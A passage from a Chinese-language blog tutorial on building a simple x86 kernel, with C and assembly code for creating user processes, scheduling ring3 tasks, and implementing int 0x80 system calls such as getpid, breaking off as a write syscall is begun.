class="line"><span class="function"></span>&#123;</span><br><span class="line">    user_prog-&gt;userprog_vaddr.vaddr_start = USER_VADDR_START;</span><br><span class="line">    <span class="keyword">uint32_t</span> bitmap_pg_cnt = DIV_ROUND_UP((<span class="number">0xc0000000</span> - USER_VADDR_START) / PG_SIZE / <span class="number">8</span>, PG_SIZE);</span><br><span class="line">    user_prog-&gt;userprog_vaddr.vaddr_bitmap.bits = get_kernel_pages(bitmap_pg_cnt);</span><br><span class="line">    user_prog-&gt;userprog_vaddr.vaddr_bitmap.btmp_bytes_len = (<span class="number">0xc0000000</span> - USER_VADDR_START) / PG_SIZE / <span class="number">8</span>;</span><br><span class="line">    bitmap_init(&amp;user_prog-&gt;userprog_vaddr.vaddr_bitmap);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>创建用户进程filename并将其添加到就绪队列中</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 创建用户进程 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">process_execute</span><span class="params">(<span class="keyword">void</span> *filename, <span class="keyword">char</span> *name)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="comment">/* pcb内核的数据结构,由内核来维护进程信息,因此要在内核内存池中申请 */</span></span><br><span class="line">    task_struct *thread = get_kernel_pages(<span class="number">1</span>);</span><br><span class="line">    init_thread(thread, name, default_prio);</span><br><span class="line">    create_user_vaddr_bitmap(thread);</span><br><span class="line">    thread_create(thread, start_process, filename);</span><br><span class="line">    thread-&gt;pgdir = create_page_dir();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">enum</span> intr_status old_status = intr_disable();</span><br><span class="line">    ASSERT(!elem_find(&amp;thread_ready_list, &amp;thread-&gt;general_tag));</span><br><span class="line">    list_append(&amp;thread_ready_list, &amp;thread-&gt;general_tag);</span><br><span class="line"></span><br><span class="line">    ASSERT(!elem_find(&amp;thread_all_list, &amp;thread-&gt;all_list_tag));</span><br><span class="line">    list_append(&amp;thread_all_list, &amp;thread-&gt;all_list_tag);</span><br><span class="line">    intr_set_status(old_status);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>要执行用户进程，我们需要通过调度器将其调度，不过这里因为用户进程是ring3，内核线程是ring0，故我们需要修改调度器</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 实现任务调度 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">schedule</span><span class="params">()</span> </span>&#123;</span><br><span class="line"></span><br><span class="line">   ASSERT(intr_get_status() == INTR_OFF);</span><br><span class="line"></span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">task_struct</span>* <span class="title">cur</span> = <span class="title">running_thread</span>();</span> </span><br><span class="line">   <span class="keyword">if</span> (cur-&gt;status == TASK_RUNNING) &#123; <span class="comment">// 若此线程只是cpu时间片到了,将其加入到就绪队列尾</span></span><br><span class="line">      ASSERT(!elem_find(&amp;thread_ready_list, &amp;cur-&gt;general_tag));</span><br><span class="line">      list_append(&amp;thread_ready_list, &amp;cur-&gt;general_tag);</span><br><span class="line">      cur-&gt;ticks = cur-&gt;priority;     <span class="comment">// 重新将当前线程的ticks再重置为其priority;</span></span><br><span class="line">      cur-&gt;status = TASK_READY;</span><br><span class="line">   &#125; <span class="keyword">else</span> &#123; </span><br><span class="line">      <span class="comment">/* 若此线程需要某事件发生后才能继续上cpu运行,</span></span><br><span class="line"><span class="comment">      不需要将其加入队列,因为当前线程不在就绪队列中。*/</span></span><br><span class="line">   &#125;</span><br><span class="line"></span><br><span class="line">   ASSERT(!list_empty(&amp;thread_ready_list));</span><br><span class="line">   thread_tag = <span class="literal">NULL</span>;  <span class="comment">// thread_tag清空</span></span><br><span class="line"><span class="comment">/* 将thread_ready_list队列中的第一个就绪线程弹出,准备将其调度上cpu. */</span></span><br><span class="line">   thread_tag = list_pop(&amp;thread_ready_list);   </span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">task_struct</span>* <span class="title">next</span> = <span class="title">elem2entry</span>(<span class="title">struct</span> <span class="title">task_struct</span>, <span class="title">general_tag</span>, <span class="title">thread_tag</span>);</span></span><br><span class="line">   next-&gt;status = TASK_RUNNING;</span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 击活任务页表等 */</span></span><br><span class="line">   process_activate(next);</span><br><span class="line"></span><br><span class="line">   switch_to(cur, next);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>最后在main中添加测试代码，用内核线程帮进程打印数据</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><span class="line">[...]</span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">k_thread_a</span><span class="params">(<span class="keyword">void</span>*)</span></span>;</span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">k_thread_b</span><span class="params">(<span class="keyword">void</span>*)</span></span>;</span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">u_prog_a</span><span class="params">(<span class="keyword">void</span>)</span></span>;</span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">u_prog_b</span><span class="params">(<span class="keyword">void</span>)</span></span>;</span><br><span class="line"><span class="keyword">int</span> test_var_a = <span class="number">0</span>, test_var_b = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">void</span>)</span> </span>&#123;</span><br><span class="line">   put_str(<span class="string">"Welcome to TJ's kernel\n"</span>);</span><br><span class="line">   init_all();</span><br><span class="line"></span><br><span class="line">   thread_start(<span class="string">"k_thread_a"</span>, <span class="number">31</span>, k_thread_a, <span class="string">"argA "</span>);</span><br><span class="line">   thread_start(<span class="string">"k_thread_b"</span>, <span class="number">31</span>, k_thread_b, <span class="string">"argB "</span>);</span><br><span class="line">   process_execute(u_prog_a, <span class="string">"user_prog_a"</span>);</span><br><span class="line">   process_execute(u_prog_b, <span class="string">"user_prog_b"</span>);</span><br><span class="line"></span><br><span class="line">   intr_enable();</span><br><span class="line">   <span class="keyword">while</span>(<span class="number">1</span>);</span><br><span class="line">   <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 在线程中运行的函数 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">k_thread_a</span><span class="params">(<span class="keyword">void</span>* arg)</span> </span>&#123;     </span><br><span class="line">   <span class="keyword">char</span>* para = arg;</span><br><span class="line">   <span class="keyword">while</span>(<span class="number">1</span>) &#123;</span><br><span class="line">      console_put_str(<span class="string">" v_a:0x"</span>);</span><br><span class="line">      console_put_int(test_var_a);</span><br><span class="line">   &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 在线程中运行的函数 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">k_thread_b</span><span class="params">(<span class="keyword">void</span>* arg)</span> </span>&#123;     </span><br><span class="line">   <span class="keyword">char</span>* para = arg;</span><br><span class="line">   <span class="keyword">while</span>(<span class="number">1</span>) &#123;</span><br><span class="line">      console_put_str(<span class="string">" v_b:0x"</span>);</span><br><span class="line">      console_put_int(test_var_b);</span><br><span class="line">   &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 测试用户进程 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">u_prog_a</span><span class="params">(<span class="keyword">void</span>)</span> </span>&#123;</span><br><span class="line">   <span class="keyword">while</span>(<span class="number">1</span>) &#123;</span><br><span class="line">      test_var_a++;</span><br><span class="line">   &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 测试用户进程 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">u_prog_b</span><span class="params">(<span class="keyword">void</span>)</span> </span>&#123;</span><br><span class="line">   <span class="keyword">while</span>(<span class="number">1</span>) &#123;</span><br><span class="line">      test_var_b++;</span><br><span class="line">   &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>测试结果如下所示，在u_prog_a进程下断点观察cs为0x002b，和预期相符</p><p><img src="/2020/05/15/简单内核实现笔记-part-3/79.png" alt="image-20200526104424200"></p><h1 id="完善内核"><a href="#完善内核" class="headerlink" title="完善内核"></a>完善内核</h1><h2 id="系统调用"><a href="#系统调用" class="headerlink" title="系统调用"></a>系统调用</h2><h3 id="实现getpid"><a href="#实现getpid" class="headerlink" title="实现getpid"></a>实现getpid</h3><p>系统调用就是让用户进程调用了操作系统的功能，我们需要实现两部分，一部分属于用户空间，提供接口函数，另一部分作为内核具体实现。Linux中直接的系统调用是宏<strong>_syscall</strong>，不过现在已经废弃并被库函数<strong>syscall</strong>替代，为了内核实现更简单，我们参考<strong>_syscall</strong>来实现系统调用，其用法可以用man命令自行查询，实现思路大致如下：</p><ol><li>调用中断门实现系统调用，效仿Linux用0x80作为系统调用入口</li><li>在IDT中安装0x80号中断对应的描述符，在该描述符中注册系统调用对应的中断处理例程</li><li>建立系统调用子功能表，利用eax寄存器中的子功能号在该表中索引相应的处理函数</li><li>用宏实现用户空间系统调用接口_syscall，最大只支持3个参数，eax为功能号，ebx保存第一个参数，ecx保存第二个参数，edx保存第三个参数</li></ol><p>我们就按照这个步骤一步步完成代码，首先实现获取任务自己的PID</p><p>增加0x80号中断描述符</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">define</span> IDT_DESC_CNT 0x81 <span class="comment">// 总支持的中断数</span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">extern</span> uint32_t <span class="title">syscall_handler</span><span class="params">(<span class="keyword">void</span>)</span></span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">/*初始化中断描述符表*/</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">idt_desc_init</span><span class="params">(<span class="keyword">void</span>)</span> </span>&#123;</span><br><span class="line">   <span class="keyword">int</span> i, lastindex = IDT_DESC_CNT - <span class="number">1</span>;</span><br><span class="line">   <span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; IDT_DESC_CNT; i++) &#123;</span><br><span class="line">      make_idt_desc(&amp;idt[i], IDT_DESC_ATTR_DPL0, intr_entry_table[i]); </span><br><span class="line">   &#125;</span><br><span class="line"><span class="comment">/* 单独处理系统调用,系统调用对应的中断门dpl为3,</span></span><br><span class="line"><span class="comment"> * 中断处理程序为单独的syscall_handler */</span></span><br><span class="line">   make_idt_desc(&amp;idt[lastindex], IDT_DESC_ATTR_DPL3, syscall_handler);</span><br><span class="line">   put_str(<span class="string">"   idt_desc_init done\n"</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>在lib/user/目录下新添加syscall文件，实现调用接口</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 无参数的系统调用 */</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> _syscall0(NUMBER)  \</span></span><br><span class="line">(&#123;                         \</span><br><span class="line">        <span class="keyword">int</span> retval;        \</span><br><span class="line">        <span class="keyword">asm</span> <span class="keyword">volatile</span>(      \</span><br><span class="line">            <span class="string">"int $0x80"</span>    \</span><br><span class="line">            : <span class="string">"=a"</span>(retval) \</span><br><span class="line">            : <span class="string">"a"</span>(NUMBER)  \</span><br><span class="line">            : <span class="string">"memory"</span>);   \</span><br><span class="line">        retval;            \</span><br><span class="line">&#125;)</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 一个参数的系统调用 */</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> _syscall1(NUMBER, ARG1)      \</span></span><br><span class="line">    (&#123;                               \</span><br><span class="line">        <span class="keyword">int</span> retval;                  \</span><br><span class="line">        <span class="keyword">asm</span> <span class="keyword">volatile</span>(                \</span><br><span class="line">            <span class="string">"int $0x80"</span>              \</span><br><span class="line">            : <span class="string">"=a"</span>(retval)           \</span><br><span class="line">            : <span class="string">"a"</span>(NUMBER), <span class="string">"b"</span>(ARG1) \</span><br><span class="line">            : <span class="string">"memory"</span>);             \</span><br><span class="line">        retval;                      \</span><br><span class="line">    &#125;)</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 两个参数的系统调用 */</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> _syscall2(NUMBER, ARG1, ARG2) (&#123;    \</span></span><br><span class="line">    <span class="keyword">int</span> retval;                             \</span><br><span class="line">    <span class="function"><span class="keyword">asm</span> <span class="title">volatile</span><span class="params">(                           \</span></span></span><br><span class="line"><span class="function"><span class="params">        <span class="string">"int $0x80"</span>                         \</span></span></span><br><span class="line"><span class="function"><span class="params">        : <span class="string">"=a"</span>(retval)                      \</span></span></span><br><span class="line"><span class="function"><span class="params">        : <span class="string">"a"</span>(NUMBER), <span class="string">"b"</span>(ARG1), <span class="string">"c"</span>(ARG2) \</span></span></span><br><span class="line"><span class="function"><span class="params">        : <span class="string">"memory"</span>)</span></span>;                        \</span><br><span class="line">    retval;                                 \</span><br><span class="line">&#125;)</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 三个参数的系统调用 */</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> _syscall3(NUMBER, ARG1, ARG2, ARG3) (&#123;         \</span></span><br><span class="line">    <span class="keyword">int</span> retval;                                        \</span><br><span class="line">    <span class="function"><span class="keyword">asm</span> <span class="title">volatile</span><span class="params">(                                      \</span></span></span><br><span class="line"><span class="function"><span class="params">        <span class="string">"int $0x80"</span>                                    \</span></span></span><br><span class="line"><span class="function"><span class="params">        : <span class="string">"=a"</span>(retval)                                 \</span></span></span><br><span class="line"><span class="function"><span class="params">        : <span class="string">"a"</span>(NUMBER), <span class="string">"b"</span>(ARG1), <span class="string">"c"</span>(ARG2), <span class="string">"d"</span>(ARG3) \</span></span></span><br><span class="line"><span class="function"><span class="params">        : <span class="string">"memory"</span>)</span></span>;                                   \</span><br><span class="line">    retval;                                            \</span><br><span class="line">&#125;)</span><br></pre></td></tr></table></figure><p>增加0x80的处理例程</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line">[bits 32]</span><br><span class="line">extern syscall_table</span><br><span class="line">section .text</span><br><span class="line">global syscall_handler</span><br><span class="line">syscall_handler:</span><br><span class="line">    ; 保存上下文环境</span><br><span class="line">    push 0</span><br><span class="line">    push ds</span><br><span class="line">    push es</span><br><span class="line">    push fs</span><br><span class="line">    push gs</span><br><span class="line">    pushad</span><br><span class="line"></span><br><span class="line">    push 0x80 ; 保持统一格式</span><br><span class="line"></span><br><span class="line">    push edx ; 系统调用第三个参数</span><br><span class="line">    push ecx ; 系统调用第二个参数</span><br><span class="line">    push ebx ; 系统调用第一个参数</span><br><span class="line"></span><br><span class="line">    // 调用相应的处理程序</span><br><span class="line">    call [syscall_table + 4 * eax]</span><br><span class="line">    add esp, 12 ; 跨过上面的三个参数</span><br><span class="line"></span><br><span class="line">    ; 将 call 调用后的返回值存入当前内核栈中 eax 的位置</span><br><span class="line">    mov [esp + 4 * 8], eax ; push 0x80 (4) + pushad (7*4) =&gt; (1+7)*4</span><br><span class="line">    jmp intr_exit</span><br></pre></td></tr></table></figure><p>初始化系统调用和实现sys_getpid，由userprog目录下新创建的syscall-init实现</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">define</span> syscall_nr 32</span></span><br><span class="line"><span class="keyword">typedef</span> <span class="keyword">void</span> *syscall;</span><br><span class="line">syscall syscall_table[syscall_nr];</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 返回当前任务的pid */</span></span><br><span class="line"><span class="keyword">uint32_t</span> sys_getpid(<span class="keyword">void</span>)</span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">return</span> running_thread()-&gt;pid;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 初始化系统调用 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">syscall_init</span><span class="params">(<span class="keyword">void</span>)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    put_str(<span class="string">"syscall_init start\n"</span>);</span><br><span class="line">    syscall_table[SYS_GETPID] = sys_getpid;</span><br><span class="line">    put_str(<span class="string">"syscall_init done\n"</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>线程初始化函数中分配pid值</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">lock</span> <span class="title">pid_lock</span>;</span>    <span class="comment">// 分配pid锁</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* 分配pid */</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> pid_t <span class="title">allocate_pid</span><span class="params">(<span class="keyword">void</span>)</span> </span>&#123;</span><br><span class="line">   <span class="keyword">static</span> <span class="keyword">pid_t</span> next_pid = <span class="number">0</span>;</span><br><span class="line">   lock_acquire(&amp;pid_lock);</span><br><span class="line">   next_pid++;</span><br><span class="line">   lock_release(&amp;pid_lock);</span><br><span class="line">   <span class="keyword">return</span> next_pid;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 初始化线程基本信息 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">init_thread</span><span class="params">(struct task_struct* pthread, <span class="keyword">char</span>* name, <span class="keyword">int</span> prio)</span> </span>&#123;</span><br><span class="line">   <span class="built_in">memset</span>(pthread, <span class="number">0</span>, <span class="keyword">sizeof</span>(*pthread));</span><br><span class="line">   pthread-&gt;pid = allocate_pid();</span><br><span class="line">   <span class="built_in">strcpy</span>(pthread-&gt;name, name);</span><br><span class="line">[...]&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 初始化线程环境 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">thread_init</span><span class="params">(<span class="keyword">void</span>)</span> </span>&#123;</span><br><span class="line">   put_str(<span class="string">"thread_init start\n"</span>);</span><br><span class="line">   list_init(&amp;thread_ready_list);</span><br><span class="line">   list_init(&amp;thread_all_list);</span><br><span class="line">   lock_init(&amp;pid_lock);</span><br><span class="line"><span class="comment">/* 将当前main函数创建为线程 */</span></span><br><span class="line">   make_main_thread();</span><br><span class="line">   put_str(<span class="string">"thread_init done\n"</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>syscall文件中继续添加系统调用</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 返回当前任务pid */</span></span><br><span class="line"><span class="keyword">uint32_t</span> getpid() &#123;</span><br><span class="line">   <span class="keyword">return</span> _syscall0(SYS_GETPID);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>最后在main函数中测试一下效果，其中用户接口函数为getpid()，内核实现为sys-getpid()，分别由用户进程和内核线程调用</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">int</span> prog_a_pid = <span class="number">0</span>, prog_b_pid = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">void</span>)</span> </span>&#123;</span><br><span class="line">   put_str(<span class="string">"Welcome to TJ's kernel\n"</span>);</span><br><span class="line">   init_all();</span><br><span class="line">   process_execute(u_prog_a, <span class="string">"user_prog_a"</span>);</span><br><span class="line">   process_execute(u_prog_b, <span class="string">"user_prog_b"</span>);</span><br><span class="line">   intr_enable();</span><br><span class="line">   console_put_str(<span class="string">" main_pid:0x"</span>);</span><br><span class="line">   console_put_int(sys_getpid());</span><br><span class="line">   console_put_char(<span class="string">'\n'</span>);</span><br><span class="line">   thread_start(<span class="string">"k_thread_a"</span>, <span class="number">31</span>, k_thread_a, <span class="string">"argA "</span>);</span><br><span class="line">   thread_start(<span class="string">"k_thread_b"</span>, <span class="number">31</span>, k_thread_b, <span class="string">"argB "</span>);</span><br><span class="line">   <span class="keyword">while</span>(<span class="number">1</span>);</span><br><span class="line">   <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 在线程中运行的函数 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">k_thread_a</span><span class="params">(<span class="keyword">void</span>* arg)</span> </span>&#123;     </span><br><span class="line">   <span class="keyword">char</span>* para = arg;</span><br><span class="line">   console_put_str(<span class="string">" thread_a_pid:0x"</span>);</span><br><span class="line">   console_put_int(sys_getpid());</span><br><span class="line">   console_put_char(<span class="string">'\n'</span>);</span><br><span class="line">   console_put_str(<span class="string">" prog_a_pid:0x"</span>);</span><br><span class="line">   console_put_int(prog_a_pid);</span><br><span class="line">   console_put_char(<span class="string">'\n'</span>);</span><br><span class="line">   <span class="keyword">while</span>(<span class="number">1</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 在线程中运行的函数 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">k_thread_b</span><span class="params">(<span class="keyword">void</span>* arg)</span> </span>&#123;     </span><br><span class="line">   <span class="keyword">char</span>* para = arg;</span><br><span class="line">   console_put_str(<span class="string">" thread_b_pid:0x"</span>);</span><br><span class="line">   console_put_int(sys_getpid());</span><br><span class="line">   console_put_char(<span class="string">'\n'</span>);</span><br><span class="line">   console_put_str(<span class="string">" prog_b_pid:0x"</span>);</span><br><span class="line">   console_put_int(prog_b_pid);</span><br><span class="line">   console_put_char(<span class="string">'\n'</span>);</span><br><span class="line">   <span class="keyword">while</span>(<span class="number">1</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 测试用户进程 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">u_prog_a</span><span class="params">(<span class="keyword">void</span>)</span> </span>&#123;</span><br><span class="line">   prog_a_pid = getpid();</span><br><span class="line">   <span class="keyword">while</span>(<span class="number">1</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 测试用户进程 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">u_prog_b</span><span class="params">(<span class="keyword">void</span>)</span> </span>&#123;</span><br><span class="line">   prog_b_pid = getpid();</span><br><span class="line">   <span class="keyword">while</span>(<span class="number">1</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>测试结果如下</p><p><img src="/2020/05/15/简单内核实现笔记-part-3/80.png" alt="image-20200611085701751"></p><h3 id="实现write和printf"><a href="#实现write和printf" class="headerlink" title="实现write和printf"></a>实现write和printf</h3><p>因为我们还没有实现文件系统，故不能模仿Linux中write的系统调用，不过我们可以略去第一个参数，实现一个简单版的write，首先根据前面获取pid的基础，我们先实现提供用户调用接口，添加功能号，初始化等工作</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">uint32_t</span> write(<span class="keyword">char</span> *str)</span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">return</span> _syscall1(SYS_WRITE, str);</span><br><span 